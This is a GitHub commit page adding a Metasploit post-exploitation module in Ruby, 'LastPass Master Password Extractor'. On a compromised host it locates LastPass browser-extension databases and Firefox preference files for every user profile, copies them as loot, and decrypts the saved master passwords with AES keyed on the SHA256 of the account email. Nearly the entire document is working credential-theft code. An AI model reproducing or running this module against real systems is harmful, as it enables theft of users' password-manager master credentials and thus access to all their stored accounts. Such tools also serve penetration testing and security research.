Skip to content

Commit c765100

Browse files
committed
Land rapid7#4004, @martinvigo's LastPass master password extraction module
2 parents 42cd288 + 29b6198 commit c765100

File tree

1 file changed

+313
-0
lines changed

1 file changed

+313
-0
lines changed
Lines changed: 313 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,313 @@
1+
require 'msf/core'
2+
require 'base64'
3+
require 'sqlite3'
4+
require 'uri'
5+
6+
class Metasploit3 < Msf::Post
7+
include Msf::Post::File
8+
include Msf::Post::Windows::UserProfiles
9+
include Msf::Post::OSX::System
10+
include Msf::Post::Unix
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'LastPass Master Password Extractor',
17+
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
21+
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
22+
'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup
23+
],
24+
'Platform' => %w(linux osx unix win),
25+
'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
26+
'SessionTypes' => %w(meterpreter shell)
27+
)
28+
)
29+
end
30+
31+
def run
32+
if session.platform =~ /win/ && session.type == "shell" # No Windows shell support
33+
print_error "Shell sessions on Windows are not supported"
34+
return
35+
end
36+
37+
print_status "Searching for LastPass databases"
38+
39+
account_map = build_account_map
40+
if account_map.empty?
41+
print_status "No databases found"
42+
return
43+
end
44+
45+
print_status "Extracting credentials from #{account_map.size} LastPass databases"
46+
47+
# an array of [user, encrypted password, browser]
48+
credentials = [] # All credentials to be decrypted
49+
account_map.each_pair do |account, browser_map|
50+
browser_map.each_pair do |browser, paths|
51+
if browser == 'Firefox'
52+
paths.each do |path|
53+
data = read_file(path)
54+
loot_path = store_loot(
55+
'firefox.preferences',
56+
'text/javascript',
57+
session,
58+
data,
59+
nil,
60+
"Firefox preferences file #{path}"
61+
)
62+
63+
# Extract usernames and passwords from preference file
64+
firefox_credentials(loot_path).each do |creds|
65+
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
66+
end
67+
end
68+
else # Chrome, Safari and Opera
69+
paths.each do |path|
70+
data = read_file(path)
71+
loot_path = store_loot(
72+
"#{browser.downcase}.lastpass.database",
73+
'application/x-sqlite3',
74+
session,
75+
data,
76+
nil,
77+
"#{account}'s #{browser} LastPass database #{path}"
78+
)
79+
80+
# Parsing/Querying the DB
81+
db = SQLite3::Database.new(loot_path)
82+
lastpass_user, lastpass_pass = db.execute(
83+
"SELECT username, password FROM LastPassSavedLogins2 " \
84+
"WHERE username IS NOT NULL AND username != '' " \
85+
"AND password IS NOT NULL AND password != '';"
86+
).flatten
87+
if lastpass_user && lastpass_pass
88+
credentials << [account, browser, lastpass_user, lastpass_pass]
89+
end
90+
end
91+
end
92+
end
93+
end
94+
95+
credentials_table = Rex::Ui::Text::Table.new(
96+
'Header' => "LastPass credentials",
97+
'Indent' => 1,
98+
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
99+
)
100+
# Parse and decrypt credentials
101+
credentials.each do |row| # Decrypt passwords
102+
account, browser, user, enc_pass = row
103+
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
104+
password = clear_text_password(user, enc_pass)
105+
credentials_table << [account, browser, user, password]
106+
end
107+
unless credentials.empty?
108+
print_good credentials_table.to_s
109+
path = store_loot(
110+
"lastpass.creds",
111+
"text/csv",
112+
session,
113+
credentials_table.to_csv,
114+
nil,
115+
"Decrypted LastPass Master Passwords"
116+
)
117+
end
118+
end
119+
120+
# Returns a mapping of { Account => { Browser => paths } }
121+
def build_account_map
122+
platform = session.platform
123+
profiles = user_profiles
124+
found_dbs_map = {}
125+
126+
if datastore['VERBOSE']
127+
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
128+
else
129+
print_status "Found #{profiles.size} users"
130+
end
131+
132+
profiles.each do |user_profile|
133+
account = user_profile['UserName']
134+
browser_path_map = {}
135+
136+
case platform
137+
when /win/
138+
browser_path_map = {
139+
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
140+
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
141+
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
142+
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
143+
}
144+
when /unix|linux/
145+
browser_path_map = {
146+
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
147+
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
148+
}
149+
when /osx/
150+
browser_path_map = {
151+
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
152+
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
153+
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
154+
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
155+
}
156+
else
157+
print_error "Platform not recognized: #{platform}"
158+
end
159+
160+
found_dbs_map[account] = {}
161+
browser_path_map.each_pair do |browser, path|
162+
db_paths = find_db_paths(path, browser, account)
163+
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
164+
end
165+
end
166+
167+
found_dbs_map
168+
end
169+
170+
# Returns a list of DB paths found in the victims' machine
171+
def find_db_paths(path, browser, account)
172+
paths = []
173+
174+
vprint_status "Checking #{account}'s #{browser}"
175+
if browser == "Firefox" # Special case for Firefox
176+
profiles = firefox_profile_files(path, browser)
177+
paths |= profiles
178+
else
179+
paths |= file_paths(path, browser, account)
180+
end
181+
182+
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
183+
paths
184+
end
185+
186+
# Returns the relevant information from user profiles
187+
def user_profiles
188+
user_profiles = []
189+
case session.platform
190+
when /unix|linux/
191+
if session.type == "meterpreter"
192+
user_names = client.fs.dir.entries("/home")
193+
else
194+
user_names = session.shell_command("ls /home").split
195+
end
196+
user_names.reject! { |u| %w(. ..).include?(u) }
197+
user_names.each do |user_name|
198+
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
199+
end
200+
when /osx/
201+
user_names = session.shell_command("ls /Users").split
202+
user_names.reject! { |u| u == 'Shared' }
203+
user_names.each do |user_name|
204+
user_profiles.push(
205+
'UserName' => user_name,
206+
"AppData" => "/Users/#{user_name}/Library",
207+
"LocalAppData" => "/Users/#{user_name}/Library/Application Support"
208+
)
209+
end
210+
when /win/
211+
user_profiles |= grab_user_profiles
212+
else
213+
print_error "OS not recognized: #{os}"
214+
end
215+
user_profiles
216+
end
217+
218+
# Extracts the databases paths from the given folder ignoring . and ..
219+
def file_paths(path, browser, account)
220+
found_dbs_paths = []
221+
222+
files = []
223+
if directory?(path)
224+
sep = session.platform =~ /win/ ? '\\' : '/'
225+
if session.type == "meterpreter"
226+
files = client.fs.dir.entries(path)
227+
elsif session.type == "shell"
228+
files = session.shell_command("ls \"#{path}\"").split
229+
else
230+
print_error "Session type not recognized: #{session.type}"
231+
return found_dbs_paths
232+
end
233+
end
234+
235+
files.each do |file_path|
236+
unless %w(. .. Shared).include?(file_path)
237+
found_dbs_paths.push([path, file_path].join(sep))
238+
end
239+
end
240+
241+
found_dbs_paths
242+
end
243+
244+
# Returns the profile files for Firefox
245+
def firefox_profile_files(path, browser)
246+
found_dbs_paths = []
247+
248+
if directory?(path)
249+
sep = session.platform =~ /win/ ? '\\' : '/'
250+
if session.type == "meterpreter"
251+
files = client.fs.dir.entries(path)
252+
elsif session.type == "shell"
253+
files = session.shell_command("ls \"#{path}\"").split
254+
else
255+
print_error "Session type not recognized: #{session.type}"
256+
return found_dbs_paths
257+
end
258+
259+
files.reject! { |file| %w(. ..).include?(file) }
260+
files.each do |file_path|
261+
found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/)
262+
end
263+
end
264+
265+
found_dbs_paths
266+
end
267+
268+
# Parses the Firefox preferences file and returns encoded credentials
269+
def firefox_credentials(loot_path)
270+
credentials = []
271+
File.readlines(loot_path).each do |line|
272+
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
273+
creds_per_user = encoded_creds.split("|")
274+
creds_per_user.each do |user_creds|
275+
parts = user_creds.split('=')
276+
# Any valid credentials present?
277+
credentials << parts if parts.size > 1
278+
end
279+
else
280+
next
281+
end
282+
end
283+
284+
credentials
285+
end
286+
287+
# Decrypts the password
288+
def clear_text_password(email, encrypted_data)
289+
return if encrypted_data.blank?
290+
291+
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
292+
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
293+
294+
if encrypted_data.include?("|") # Apply CBC
295+
decipher = OpenSSL::Cipher.new("AES-256-CBC")
296+
decipher.decrypt
297+
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
298+
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
299+
encrypted_password = encrypted_data[26..-1]
300+
else # Apply ECB
301+
decipher = OpenSSL::Cipher.new("AES-256-ECB")
302+
decipher.decrypt
303+
decipher.key = sha256_binary_email
304+
encrypted_password = encrypted_data
305+
end
306+
307+
begin
308+
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
309+
rescue
310+
print_error "Password for #{email} could not be decrypted"
311+
end
312+
end
313+
end

0 commit comments

Comments
 (0)